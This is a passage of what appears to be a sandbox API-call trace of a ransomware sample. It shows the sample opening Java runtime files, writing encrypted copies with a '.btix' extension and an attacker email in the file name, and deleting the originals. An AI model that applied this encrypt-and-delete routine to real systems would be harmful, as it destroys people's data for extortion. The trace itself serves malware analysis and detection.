Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0129.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0129.194] lstrlenW (lpString=".doc") returned 4 [0129.194] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0129.194] lstrlenW (lpString=".docx") returned 5 [0129.194] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0129.194] lstrlenW (lpString=".pdf") returned 4 [0129.194] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0129.194] lstrlenW (lpString=".xls") returned 4 [0129.194] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0129.194] lstrlenW (lpString=".xlsx") returned 5 [0129.194] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0129.194] lstrlenW (lpString=".ppt") returned 4 [0129.194] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0129.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0129.194] lstrlenW (lpString=".zip") returned 4 [0129.194] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0129.194] lstrlenW (lpString=".rar") returned 4 [0129.194] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0129.194] lstrlenW (lpString=".bz2") returned 4 [0129.194] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0129.194] lstrlenW (lpString=".7z") returned 3 [0129.194] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0129.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0129.194] lstrlenW (lpString=".dbf") returned 4 [0129.194] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0129.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0129.194] lstrlenW (lpString=".1cd") returned 4 [0129.194] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0129.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0129.194] lstrlenW (lpString=".jpg") returned 4 [0129.194] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0129.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0129.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0129.195] lstrlenW (lpString=".doc") returned 4 [0129.195] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0129.195] lstrlenW (lpString=".docx") returned 5 [0129.195] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0129.195] lstrlenW (lpString=".pdf") returned 4 [0129.195] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0129.195] lstrlenW (lpString=".xls") returned 4 [0129.195] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0129.195] lstrlenW (lpString=".xlsx") returned 5 [0129.195] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0129.195] lstrlenW (lpString=".ppt") returned 4 [0129.195] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0129.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0129.195] lstrlenW (lpString=".zip") returned 4 [0129.195] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0129.195] lstrlenW (lpString=".rar") returned 4 [0129.195] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0129.195] lstrlenW (lpString=".bz2") returned 4 [0129.195] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0129.195] lstrlenW (lpString=".7z") returned 3 [0129.195] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0129.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0129.195] lstrlenW (lpString=".dbf") returned 4 [0129.195] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0129.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0129.195] lstrlenW (lpString=".1cd") returned 4 [0129.195] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0129.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0129.195] lstrlenW (lpString=".jpg") returned 4 [0129.195] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0129.196] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0129.196] lstrlenW (lpString="content-types.properties") returned 24 [0129.196] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0129.196] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=5548) returned 1 [0129.196] CloseHandle (hObject=0x3c4) returned 1 [0129.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 0x20 [0129.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0129.196] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0129.197] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.197] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.197] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0129.197] GetLastError () returned 0x0 [0129.197] ReadFile (in: hFile=0x3c4, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x15ac, lpOverlapped=0x0) returned 1 [0129.299] WriteFile (in: hFile=0x3d4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x15b0, lpOverlapped=0x0) returned 1 [0129.300] ReadFile (in: hFile=0x3c4, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0129.300] WriteFile (in: hFile=0x3d4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x104, lpOverlapped=0x0) returned 1 [0129.300] SetEndOfFile (hFile=0x3d4) returned 1 [0129.300] CloseHandle (hObject=0x3d4) returned 1 [0129.300] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.300] SetEndOfFile (hFile=0x3c4) returned 1 [0129.303] CloseHandle (hObject=0x3c4) returned 1 [0129.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0129.707] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 1 [0130.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0130.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0130.020] lstrlenW (lpString=".doc") returned 4 [0130.020] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0130.020] lstrlenW (lpString=".docx") returned 5 [0130.020] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0130.020] lstrlenW (lpString=".pdf") returned 4 [0130.020] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0130.020] lstrlenW (lpString=".xls") returned 4 [0130.020] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0130.020] lstrlenW (lpString=".xlsx") returned 5 [0130.020] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0130.020] lstrlenW (lpString=".ppt") returned 4 [0130.020] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0130.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0130.020] lstrlenW (lpString=".zip") returned 4 [0130.020] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0130.020] lstrlenW (lpString=".rar") returned 4 [0130.020] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0130.020] lstrlenW (lpString=".bz2") returned 4 [0130.021] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0130.021] lstrlenW (lpString=".7z") returned 3 [0130.021] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0130.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0130.021] lstrlenW (lpString=".dbf") returned 4 [0130.021] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0130.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0130.021] lstrlenW (lpString=".1cd") returned 4 [0130.021] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0130.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0130.021] lstrlenW (lpString=".jpg") returned 4 [0130.021] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0130.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0130.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0130.021] lstrlenW (lpString=".doc") returned 4 [0130.021] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0130.021] lstrlenW (lpString=".docx") returned 5 [0130.021] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0130.021] lstrlenW (lpString=".pdf") returned 4 [0130.021] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0130.021] lstrlenW (lpString=".xls") returned 4 [0130.021] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0130.021] lstrlenW (lpString=".xlsx") returned 5 [0130.021] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0130.021] lstrlenW (lpString=".ppt") returned 4 [0130.021] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0130.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0130.022] lstrlenW (lpString=".zip") returned 4 [0130.022] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0130.022] lstrlenW (lpString=".rar") returned 4 [0130.022] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0130.022] lstrlenW (lpString=".bz2") returned 4 [0130.022] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0130.022] lstrlenW (lpString=".7z") returned 3 [0130.022] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0130.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0130.022] lstrlenW (lpString=".dbf") returned 4 [0130.022] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0130.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0130.022] lstrlenW (lpString=".1cd") returned 4 [0130.022] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0130.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0130.022] lstrlenW (lpString=".jpg") returned 4 [0130.022] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0130.022] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0130.022] lstrlenW (lpString="messages_it.properties") returned 22 [0130.022] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0130.053] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3223) returned 1 [0130.053] CloseHandle (hObject=0x444) returned 1 [0130.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 0x20 [0130.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.143] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0130.143] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.143] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.143] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0130.144] GetLastError () returned 0x0 [0130.144] ReadFile (in: hFile=0x49c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0xc97, lpOverlapped=0x0) returned 1 [0130.320] WriteFile (in: hFile=0x4a0, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xca0, lpOverlapped=0x0) returned 1 [0130.324] ReadFile (in: hFile=0x49c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0130.324] WriteFile (in: hFile=0x4a0, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x100, lpOverlapped=0x0) returned 1 [0130.325] SetEndOfFile (hFile=0x4a0) returned 1 [0130.325] CloseHandle (hObject=0x4a0) returned 1 [0130.325] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.325] SetEndOfFile (hFile=0x49c) returned 1 [0130.337] CloseHandle (hObject=0x49c) returned 1 [0130.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0130.338] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 1 [0130.338] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0130.338] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0130.338] lstrlenW (lpString=".doc") returned 4 [0130.338] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0130.338] lstrlenW (lpString=".docx") returned 5 [0130.338] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0130.338] lstrlenW (lpString=".pdf") returned 4 [0130.338] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0130.338] lstrlenW (lpString=".xls") returned 4 [0130.338] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0130.338] lstrlenW (lpString=".xlsx") returned 5 [0130.338] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0130.338] lstrlenW (lpString=".ppt") returned 4 [0130.339] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0130.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0130.339] lstrlenW (lpString=".zip") returned 4 [0130.339] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0130.339] lstrlenW (lpString=".rar") returned 4 [0130.339] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0130.339] lstrlenW (lpString=".bz2") returned 4 [0130.339] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0130.339] lstrlenW (lpString=".7z") returned 3 [0130.339] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0130.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0130.339] lstrlenW (lpString=".dbf") returned 4 [0130.339] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0130.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0130.339] lstrlenW (lpString=".1cd") returned 4 [0130.339] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0130.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0130.339] lstrlenW (lpString=".jpg") returned 4 [0130.339] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0130.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0130.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0130.339] lstrlenW (lpString=".doc") returned 4 [0130.339] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0130.339] lstrlenW (lpString=".docx") returned 5 [0130.339] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0130.339] lstrlenW (lpString=".pdf") returned 4 [0130.339] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0130.339] lstrlenW (lpString=".xls") returned 4 [0130.339] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0130.339] lstrlenW (lpString=".xlsx") returned 5 [0130.339] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0130.339] lstrlenW (lpString=".ppt") returned 4 [0130.339] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0130.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0130.339] lstrlenW (lpString=".zip") returned 4 [0130.340] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0130.340] lstrlenW (lpString=".rar") returned 4 [0130.340] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0130.340] lstrlenW (lpString=".bz2") returned 4 [0130.340] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0130.340] lstrlenW (lpString=".7z") returned 3 [0130.340] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0130.340] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0130.340] lstrlenW (lpString=".dbf") returned 4 [0130.340] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0130.340] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0130.340] lstrlenW (lpString=".1cd") returned 4 [0130.340] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0130.340] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0130.340] lstrlenW (lpString=".jpg") returned 4 [0130.340] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0130.340] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0130.340] lstrlenW (lpString="messages_pt_BR.properties") returned 25 [0130.340] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0130.341] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3285) returned 1 [0130.341] CloseHandle (hObject=0x49c) returned 1 [0130.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 0x20 [0130.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.342] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0130.342] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.342] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.342] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0130.342] GetLastError () returned 0x0 [0130.342] ReadFile (in: hFile=0x49c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0xcd5, lpOverlapped=0x0) returned 1 [0130.456] WriteFile (in: hFile=0x4a0, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xce0, lpOverlapped=0x0) returned 1 [0130.457] ReadFile (in: hFile=0x49c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0130.457] WriteFile (in: hFile=0x4a0, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x106, lpOverlapped=0x0) returned 1 [0130.457] SetEndOfFile (hFile=0x4a0) returned 1 [0130.460] CloseHandle (hObject=0x4a0) returned 1 [0130.461] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.462] SetEndOfFile (hFile=0x49c) returned 1 [0130.467] CloseHandle (hObject=0x49c) returned 1 [0130.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0130.645] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 1 [0131.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0131.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0131.061] lstrlenW (lpString=".doc") returned 4 [0131.061] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0131.061] lstrlenW (lpString=".docx") returned 5 [0131.061] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0131.061] lstrlenW (lpString=".pdf") returned 4 [0131.061] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0131.061] lstrlenW (lpString=".xls") returned 4 [0131.061] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0131.061] lstrlenW (lpString=".xlsx") returned 5 [0131.061] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0131.061] lstrlenW (lpString=".ppt") returned 4 [0131.061] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0131.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0131.061] lstrlenW (lpString=".zip") returned 4 [0131.061] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0131.061] lstrlenW (lpString=".rar") returned 4 [0131.061] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0131.061] lstrlenW (lpString=".bz2") returned 